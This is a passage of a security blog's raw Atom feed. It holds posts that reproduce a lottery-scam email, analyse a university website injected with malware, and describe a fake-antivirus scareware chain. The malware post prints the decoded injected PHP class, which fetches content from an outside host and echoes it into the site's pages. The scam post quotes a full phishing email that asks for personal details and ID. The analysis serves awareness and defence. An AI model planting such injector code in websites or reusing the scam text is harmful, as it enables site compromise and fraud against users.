/&gt;&lt;span style="font-weight: bold;"&gt;Ms Aisha Al Salam.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-6725271860536837157?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/6725271860536837157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/05/spam-mails-part-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/6725271860536837157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/6725271860536837157'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/05/spam-mails-part-2.html' title='SPAM Mails: Part 2'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-4414710292160857931</id><published>2010-05-11T19:08:00.004+05:30</published><updated>2010-05-11T19:28:26.744+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><title type='text'>SPAM Mails: Part 1</title><content type='html'>&lt;strong&gt;&lt;span style="font-weight: normal;"&gt;Below is the SPAM mail which I received in my INBOX. To make it realistic spammers had gone one step ahead and provided with contact numbers and few images to make it realistic and entice users to give their personal information.&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/S-lfKze2QwI/AAAAAAAAAJc/Rfv7FKlvOOY/s1600/YOUR_WINNING_DOCUMENT_LETTER_READ.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 261px; height: 320px;" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/S-lfKze2QwI/AAAAAAAAAJc/Rfv7FKlvOOY/s320/YOUR_WINNING_DOCUMENT_LETTER_READ.jpg" alt="" id="BLOGGER_PHOTO_ID_5470007861641102082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;FROM THE DESK OF THE DIRECTOR:&lt;br /&gt;UK INTERNATIONAL LOTTERY PRIZE  AWARD DEPT&lt;br /&gt;&lt;br /&gt;WINNING NOTIFICATION FOR CATEGORY "A" WINNER ONLY&lt;br /&gt;&lt;br /&gt;Amount  Won: £1,000,000.00 Pounds&lt;br /&gt;&lt;br /&gt;Dear Lucky winner,&lt;br /&gt;&lt;br /&gt;We are  glad to inform you that you have won a &lt;span style="border-bottom: 1px dashed rgb(0, 102, 204); cursor: pointer; background: none repeat scroll 0% 0% transparent;" class="yshortcuts" id="lw_1273584944_0"&gt;prize money&lt;/span&gt;  of &lt;span class="yshortcuts" id="lw_1273584944_1"&gt;One Million&lt;/span&gt;&lt;br /&gt;&lt;span style="cursor: pointer; background: none repeat scroll 0% 0% transparent;" class="yshortcuts" id="lw_1273584944_2"&gt;Great Britain  Pound&lt;/span&gt; Sterlings (£1,000,000.00) in our last lottery promotional&lt;br /&gt;draw.&lt;br /&gt;&lt;br /&gt;We  are pleased to inform you of the final announcement of the result in&lt;br /&gt;UK  INTERNATIONAL LOTTERY PRIZE AWARD DEPT. Your email address was selected  by our Electronic Random Selection System (ERSS) from an exclusive list  of &lt;span class="yshortcuts" id="lw_1273584944_3"&gt;e-mail addresses&lt;/span&gt;  of individual and corporate bodies. No tickets were sold.&lt;br /&gt;&lt;br /&gt;With  Ref.Number: GP 14-M-246-04,&lt;br /&gt;Batch Number: &lt;span class="yshortcuts" id="lw_1273584944_4"&gt;573881545&lt;/span&gt;-UK/2010&lt;br /&gt;Ticket Number:  PP3502/8707-01.&lt;br /&gt;&lt;br /&gt;CONGRATULATIONS!!!:&lt;br /&gt;To file for Your Claims  Please contact.&lt;br /&gt;********************************************&lt;br /&gt;Name:  MR JOSEPH  POUNCH&lt;br /&gt;Tel:+447014275315&lt;br /&gt;Email: &lt;/strong&gt;&lt;a rel="nofollow" ymailto="mailto:josephpounch18@gmail.com" target="_blank" href="http://us.mc308.mail.yahoo.com/mc/compose?to=josephpounch18@gmail.com"&gt;&lt;strong&gt;&lt;span class="yshortcuts" id="lw_1273584944_5"&gt;josephpounch18@gmail.com&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;*******************************************&lt;br /&gt;However  you will have to fill and submit this form to the events manager for&lt;br /&gt;verification  &amp;amp; direction on how you canclaim your winning fund.&lt;br /&gt;Fill the  Details Below:&lt;br /&gt;1. Full name...............&lt;br /&gt;2. Contact  Address......&lt;br /&gt;3. Age.........................&lt;br /&gt;4. Mobile  Number.........&lt;br /&gt;5. Marital Status..........&lt;br /&gt;6.  Sex.........................&lt;br /&gt;7. Occupation..............&lt;br /&gt;8.  Company................&lt;br /&gt;9.State:......................&lt;br /&gt;10.Country..................&lt;br /&gt;11.Nationality...............&lt;br /&gt;12.Address.................&lt;br /&gt;13.Valid  ID &lt;span class="yshortcuts" id="lw_1273584944_6"&gt;Proof&lt;/span&gt; (Send as  email attachment)&lt;br /&gt;Your Reference and Batch number at the top of this  mail:&lt;br /&gt;&lt;br /&gt;Mrs Vivian Jones.&lt;br /&gt;Lottery Coordinator&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;Most of the netizens fall pray for this and end up providing their information. Above details can be used to crack passwords with intelligent guesses.&lt;br /&gt;&lt;br /&gt;Before providing information in reply to such mails think once, "who the hell in this world is going to give free money !!! "&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-4414710292160857931?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/4414710292160857931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/05/spam-mails.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/4414710292160857931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/4414710292160857931'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/05/spam-mails.html' title='SPAM Mails: Part 1'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_SQ_PsgPnt_w/S-lfKze2QwI/AAAAAAAAAJc/Rfv7FKlvOOY/s72-c/YOUR_WINNING_DOCUMENT_LETTER_READ.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-4413316191215374573</id><published>2009-10-09T22:35:00.013+05:30</published><updated>2009-10-10T00:26:39.998+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='base64'/><category scheme='http://www.blogger.com/atom/ns#' term='iframe'/><title type='text'>Premier University of Andhra Pradesh Serving Malware.</title><content type='html'>Couple of days back I reported the infection to few Security Researchers through OWASP. Now Firefox and Google says the same!! If we visit &lt;span style="text-decoration: underline;"&gt;http://www.nagarjunauniversity.ac.in/&lt;/span&gt;, Firefox browser alarms you with the following warning&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_SQ_PsgPnt_w/Ss9u7RWvlaI/AAAAAAAAAHs/poOCHqAQKXY/s1600-h/nu_ggl_ff.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 181px;" src="http://2.bp.blogspot.com/_SQ_PsgPnt_w/Ss9u7RWvlaI/AAAAAAAAAHs/poOCHqAQKXY/s320/nu_ggl_ff.JPG" alt="" id="BLOGGER_PHOTO_ID_5390649243535906210" border="0" /&gt;&lt;/a&gt;Other way round to make sure whether it is service malicious pages or malware is: type "nagarjunauniversity" in google window and open the first link&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_SQ_PsgPnt_w/Ss9v9QkPk0I/AAAAAAAAAH0/T-eqlMGZ1aU/s1600-h/nu_google_alert.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_SQ_PsgPnt_w/Ss9v9QkPk0I/AAAAAAAAAH0/T-eqlMGZ1aU/s320/nu_google_alert.JPG" alt="" id="BLOGGER_PHOTO_ID_5390650377195459394" border="0" /&gt;&lt;/a&gt;Google description about the pages hosted by &lt;span style="text-decoration: underline;"&gt;www.nagarjunauniversity.ac.in&lt;/span&gt; is&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/Ss9zxOK-KGI/AAAAAAAAAH8/R8-Kz2XeL4M/s1600-h/nu_google_des.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 222px;" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/Ss9zxOK-KGI/AAAAAAAAAH8/R8-Kz2XeL4M/s320/nu_google_des.JPG" alt="" id="BLOGGER_PHOTO_ID_5390654568440670306" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:130%;"&gt;Real time view of malicious pages and Analysis&lt;/span&gt;&lt;br /&gt;Visiting the site welcomes you with script execution, see diagram below&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/Ss91Vp8RY2I/AAAAAAAAAIE/hbYhRhnbQAw/s1600-h/nu_home_page_activex.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/Ss91Vp8RY2I/AAAAAAAAAIE/hbYhRhnbQAw/s320/nu_home_page_activex.JPG" alt="" id="BLOGGER_PHOTO_ID_5390656293882127202" border="0" /&gt;&lt;/a&gt;Viewing the source of this page will make you think for a while. Why Chinese and Russian links are present in the page?? Have a glimpse of the code.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/Ss93ft85q_I/AAAAAAAAAIM/FbdyS03_6UI/s1600-h/nu_hp_maliciouslinks.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 362px; height: 143px;" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/Ss93ft85q_I/AAAAAAAAAIM/FbdyS03_6UI/s320/nu_hp_maliciouslinks.JPG" alt="" id="BLOGGER_PHOTO_ID_5390658665780456434" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Whe I reported the incident on OWASP, base64 encoded code was present on this page. Don't worry? The code is still present but on other pages. When I am writin this blog base64 encoded content was present at the following pages and many more&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;http://www.nagarjunauniversity.ac.in/administration.asp&lt;/span&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;http://www.nagarjunauniversity.ac.in/downloads.asp&lt;/span&gt;&lt;br /&gt;Source code of either of the pages looks like&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_SQ_PsgPnt_w/Ss95XAwIlII/AAAAAAAAAIU/mCdR0L2ue-I/s1600-h/nu_maliciouspages_base64encoded.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 152px;" src="http://2.bp.blogspot.com/_SQ_PsgPnt_w/Ss95XAwIlII/AAAAAAAAAIU/mCdR0L2ue-I/s320/nu_maliciouspages_base64encoded.JPG" alt="" id="BLOGGER_PHOTO_ID_5390660715231614082" border="0" /&gt;&lt;/a&gt;If you observe carefully we can see a site which is partially encoded (percentage encoding)&lt;br /&gt;http%3A%2F%2Fbale.ws%2Fshow.php&lt;br /&gt;Google's description had a mention about &lt;span style="font-weight: bold;"&gt;bale.ws&lt;/span&gt; domain.&lt;br /&gt;When we open above site it gets redirected to&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;http://superpupermegacasino.com/&lt;/span&gt;which hosts *SmartDownload.exe*&lt;br /&gt;&lt;br /&gt;Details of the EXE at Virustotal is shown as *Win32/CasOnline!Adware*. Further details about the binary can be found at&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/9709a6f32be02642671f96ee264bae85fc924072ceb1a6f07c94ab94ae77943d-1254763534" target="_blank"&gt;http://www.virustotal.com/&lt;wbr&gt;analisis/&lt;wbr&gt;9709a6f32be02642671f96ee264bae&lt;wbr&gt;85fc924072ceb1a6f07c94ab94ae77&lt;wbr&gt;943d-1254763534&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Well, decoding the base64 content with &lt;span style="font-weight: bold;"&gt;base64_decode() &lt;/span&gt;method present within the malicious page gives the below script which is passed as an argument to &lt;span style="font-weight: bold;"&gt;eval()&lt;/span&gt;. eval executes the script&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;error_reporting(0);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$links = new GetLinks();&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;echo $links-&gt;Links;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;class GetLinks&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    var $host = "&lt;span style="font-weight: bold;"&gt;esli.tw&lt;/span&gt;";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    var $path = "/&lt;span style="font-weight: bold;"&gt;link.php&lt;/span&gt;?site=";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    var $site = "";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    var $user_agent = "";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    var $Links = "";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    var $_socket_timeout    = 12;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    var $_cashe_life_time    = 3600;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    var $_cashe_file                = "&lt;span style="font-weight: bold;"&gt;cashe.txt&lt;/span&gt;";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    function GetLinks()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        if (!is_file($this-&gt;_cashe_file) || (filemtime($this-&gt;_cashe_file) &lt; (time()-$this-&gt;_cashe_life_time)) || filesize($this-&gt;_cashe_file) == 0) {&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;            $this-&gt;site                = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $HTTP_SERVER_VARS['HTTP_HOST'];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;            $this-&gt;user_agent = $_SERVER['HTTP_USER_AGENT'];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;            &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;            $this-&gt;Links             = $this-&gt;fetch_remote_file();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;            if ($handle = fopen($this-&gt;_cashe_file, 'w')) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                fwrite($handle, $this-&gt;Links);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;            }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;            fclose($handle);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        else {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;            $this-&gt;Links = file_get_contents($this-&gt;_cashe_file);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    function fetch_remote_file()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      $buff = '';&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    $fp = fsockopen($this-&gt;host, 80, $errno, $errstr, $this-&gt;_socket_timeout);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    if (!$fp) {&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    } else {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        $out = "GET {$this-&gt;path}{$this-&gt;site} HTTP/1.1\r\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        $out .= "Host: {$this-&gt;host}\r\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        $out .= "Connection: Close\r\n\r\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        fwrite($fp, $out);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        while (!feof($fp)) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;            $buff .= fgets($fp, 128);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        fclose($fp);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;              $page = explode("\r\n\r\n", $buff);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;              return $page[1];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;I am not sure what &lt;span style="font-weight: bold;"&gt;cashe.txt&lt;/span&gt; does and what are its contents!&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;The HTML Tag which is responsible for execution of scripts, malware etc is &lt;span style="font-weight: bold;"&gt;IFRAME&lt;/span&gt;.&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;Next blog will be most probably &lt;span style="font-weight: bold;"&gt;SmartDownload.exe&lt;/span&gt; binary analysis.&lt;/span&gt;&lt;span style="font-style: italic;"&gt; Safe Surfing!!!&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-4413316191215374573?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/4413316191215374573/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2009/10/premier-university-of-andhra-pradesh.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/4413316191215374573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/4413316191215374573'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2009/10/premier-university-of-andhra-pradesh.html' title='Premier University of Andhra Pradesh Serving Malware.'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_SQ_PsgPnt_w/Ss9u7RWvlaI/AAAAAAAAAHs/poOCHqAQKXY/s72-c/nu_ggl_ff.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-7462619517154741130</id><published>2009-09-04T20:29:00.030+05:30</published><updated>2009-09-13T01:47:44.227+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='fake av'/><category scheme='http://www.blogger.com/atom/ns#' term='browser hijackers'/><title type='text'>Personal Antivirus: antimalwarescanner8.com/ best-antivirus8.com/ hqvirusscanner.com/ advancedpcscanner3.com</title><content type='html'>&lt;div style="text-align: justify;"&gt;I typed my search keywords into Google and clicked on few links on the first page of results. One site interested me because it was redirecting me to some other site, the malicious web page whic is redirecting to new page was embedded with unnoticeable flash file named &lt;span style="font-weight: bold;"&gt;intro.swf&lt;/span&gt;. The web page on the redirected site welcomes us with a pop-up window saying "Warning!!!Your system.......". The pop-up warning window is similar across all malicious domains.&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqJqlgp4SXI/AAAAAAAAAG8/M-n7h4wtJs4/s1600-h/fake_warning_bestav1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 78px;" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqJqlgp4SXI/AAAAAAAAAG8/M-n7h4wtJs4/s320/fake_warning_bestav1.JPG" alt="" id="BLOGGER_PHOTO_ID_5377978097687087474" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SqKA934RcII/AAAAAAAAAHk/mdGHwHcVXKU/s1600-h/fake_warning_hq1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 79px;" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SqKA934RcII/AAAAAAAAAHk/mdGHwHcVXKU/s320/fake_warning_hq1.JPG" alt="" id="BLOGGER_PHOTO_ID_5378002705494143106" border="0" /&gt;&lt;/a&gt;&lt;span&gt;If we click OK or Cross(X)/Close button it will take us to fake scanning page&lt;/span&gt; depicting real Anti -virus scanning of the PC.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SqJ5UqAaX9I/AAAAAAAAAHU/CscuXoQKw6I/s1600-h/during_fake_scanning_82percentage.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SqJ5UqAaX9I/AAAAAAAAAHU/CscuXoQKw6I/s320/during_fake_scanning_82percentage.JPG" alt="" id="BLOGGER_PHOTO_ID_5377994300814155730" border="0" /&gt;&lt;/a&gt;After the scanning it gives the scan results as shown in figure below depicting a real Anti-Virus scan stating various directories on the PC are infected with trojans.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqE2INV7wYI/AAAAAAAAAF8/Hb9jlG9LXMI/s1600-h/av8_4.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqE2INV7wYI/AAAAAAAAAF8/Hb9jlG9LXMI/s320/av8_4.JPG" alt="" id="BLOGGER_PHOTO_ID_5377638944705593730" border="0" /&gt;&lt;/a&gt;Asks the users to download "Personal Antivirus" to protect their PC.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqJ3PvKoTJI/AAAAAAAAAHM/2uue4R6SaNI/s1600-h/fake_afterscan_alert1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 259px;" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqJ3PvKoTJI/AAAAAAAAAHM/2uue4R6SaNI/s320/fake_afterscan_alert1.JPG" alt="" id="BLOGGER_PHOTO_ID_5377992017276587154" border="0" /&gt;&lt;/a&gt;Clicking anywhere on this page will give a pop-up window to download Anti-virus binary.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SqE3B4ZSGnI/AAAAAAAAAGE/DWG4qG7T918/s1600-h/exe_pop-up4downloadam11.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 294px;" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SqE3B4ZSGnI/AAAAAAAAAGE/DWG4qG7T918/s320/exe_pop-up4downloadam11.JPG" alt="" id="BLOGGER_PHOTO_ID_5377639935514909298" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqE0XQUWabI/AAAAAAAAAFk/BJC5F9pIT_I/s1600-h/exe_pop-up4downloadhq11.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 141px;" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqE0XQUWabI/AAAAAAAAAFk/BJC5F9pIT_I/s320/exe_pop-up4downloadhq11.JPG" alt="" id="BLOGGER_PHOTO_ID_5377637004179040690" border="0" /&gt;&lt;/a&gt;If we click on the page for multiple times it will pop-up multiple windows for downloading&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Antivirus-[a-f0-9]{3,7}_2031.exe&lt;/span&gt; file.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/SqJ60k_ls7I/AAAAAAAAAHc/t_BFxL7NcOQ/s1600-h/multiple_popsupEXEdwnld.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/SqJ60k_ls7I/AAAAAAAAAHc/t_BFxL7NcOQ/s320/multiple_popsupEXEdwnld.JPG" alt="" id="BLOGGER_PHOTO_ID_5377995948735968178" border="0" /&gt;&lt;/a&gt;If we do "View Source" on above page it will show few interesting javascript files.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqJpDUUlqZI/AAAAAAAAAGs/aec2WVv4Q2s/s1600-h/script_links.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqJpDUUlqZI/AAAAAAAAAGs/aec2WVv4Q2s/s320/script_links.JPG" alt="" id="BLOGGER_PHOTO_ID_5377976410749381010" border="0" /&gt;&lt;/a&gt;&lt;span&gt;Contents of &lt;span style="font-weight: bold;"&gt;listfile.js&lt;/span&gt; were interesting because it had an array of various file names with EXE, HLP, DLL etc extensions.&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SqE4G3laGbI/AAAAAAAAAGk/LEF64zsKF7Y/s1600-h/page_clicking_popsupEXEdwnld.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 305px;" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SqE4G3laGbI/AAAAAAAAAGk/LEF64zsKF7Y/s320/page_clicking_popsupEXEdwnld.JPG" alt="" id="BLOGGER_PHOTO_ID_5377641120708303282" 